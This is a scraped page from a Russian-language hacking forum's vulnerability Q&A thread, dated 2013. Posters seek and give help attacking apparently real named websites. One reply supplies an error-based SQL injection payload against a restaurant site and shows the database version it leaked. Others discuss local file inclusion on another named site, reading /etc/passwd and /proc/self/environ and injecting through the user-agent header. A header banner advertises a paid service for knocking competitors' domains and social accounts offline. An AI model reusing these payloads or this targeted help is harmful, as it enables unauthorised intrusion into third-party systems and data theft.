УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2195 из 2438

2195

Опции темы

Поиск в этой теме

Опции просмотра

#21941

01.01.2013, 16:40

Unknown

Guest

Сообщений: n/a

Провел на форуме:
77731

Репутация: 33

Помогите подобрать количество полей в:

Код:

Code:
http://mcdonalds.md/products/getallcategory?ascendent=1&category=1|2|3|4&idB=0&order=-1'

#21942

01.01.2013, 16:52

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

Провел на форуме:
11937

Репутация: 0

Цитата:

Сообщение от GhostW

GhostW said:
Помогите подобрать количество полей в:

Код:

Code:
http://mcdonalds.md/products/getallcategory?ascendent=1&category=1|2|3|4&idB=0&order=-1'

Только через Error-Based:

Код:

Code:
http://mcdonalds.md/products/getallcategory?ascendent=1&category=1|2|3|4&idB=0&order=1 and updatexml(0x3a,concat(0x3a,version()),0x3a)#

XPATH syntax error: ':5.1.61'

#21943

01.01.2013, 17:24

Unknown

Guest

Сообщений: n/a

Провел на форуме:
77731

Репутация: 33

А где можно найти подробную инфу по Error-Based и как узнать что нужно использовать данный метод?

П.С. Спасибо за быстрый ответ на прошлый вопрос.

#21944

01.01.2013, 17:30

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

Провел на форуме:
371875

Репутация: 137

Цитата:

Сообщение от GhostW

GhostW said:
А где можно найти подробную инфу по Error-Based и как узнать что нужно использовать данный метод?
П.С. Спасибо за быстрый ответ на прошлый вопрос.

Для общего понимания:

/showpost.php?p=407227&postcount=3

для Болие детального понимания нужна понимать суть синтаксиса Mysql, т.е как правельно делоть запросы к бд и понимать как получается вывод...

#21945

04.01.2013, 13:36

Artrix

Guest

Сообщений: n/a

Провел на форуме:
5957

Репутация: 0

День добрый. Если есть доступ к proc/self/environ%00 с вывобом user-agent возможно посмотреть phpinfo заменой агента на ? Или не должно выводить?

#21946

04.01.2013, 16:21

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

Провел на форуме:
11937

Репутация: 0

Цитата:

Сообщение от Artrix

Artrix said:
День добрый. Если есть доступ к proc/self/environ%00 с вывобом user-agent возможно посмотреть phpinfo заменой агента на ? Или не должно выводить?

Если у Вас LFI, а не просто чтение, то конечно да!

#21947

04.01.2013, 18:12

Artrix

Guest

Сообщений: n/a

Провел на форуме:
5957

Репутация: 0

Цитата:

Сообщение от cat1vo

cat1vo said:
Если у Вас LFI, а не просто чтение, то конечно да!

Да, LFI, но почему-то не выводит. В чем может быть проблема?

#21948

04.01.2013, 18:47

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

Провел на форуме:
745649

Репутация: 97

Отправить сообщение для herfleisch с помощью ICQ

Нашел LFI:

Цитата:

Сообщение от None

http://teyla.ru/load.php?file=/etc/passwd

passwd отлично смотрится, но в ответ на

Цитата:

Сообщение от None

http://teyla.ru/load.php?file=/proc/self/environ

возвращается пустая страница.

Значит нет прав и нет смысла пытаться подменить user-agent?

#21949

04.01.2013, 18:54

Expl0ited

Guest

Сообщений: n/a

Провел на форуме:
262707

Репутация: 935

Цитата:

Сообщение от herfleisch

herfleisch said:
Нашел LFI:
passwd отлично смотрится, но в ответ на
возвращается пустая страница.
Значит нет прав и нет смысла пытаться подменить user-agent?

лоооооооооооооооооооооооо оооооооол

#21950

04.01.2013, 18:56

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

Провел на форуме:
745649

Репутация: 97

Цитата:

Сообщение от Expl0ited

Expl0ited said:
лоооооооооооооооооооооооо оооооооол

Что случилось?

Страница 2195 из 2438

2195

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)

Быстрый переход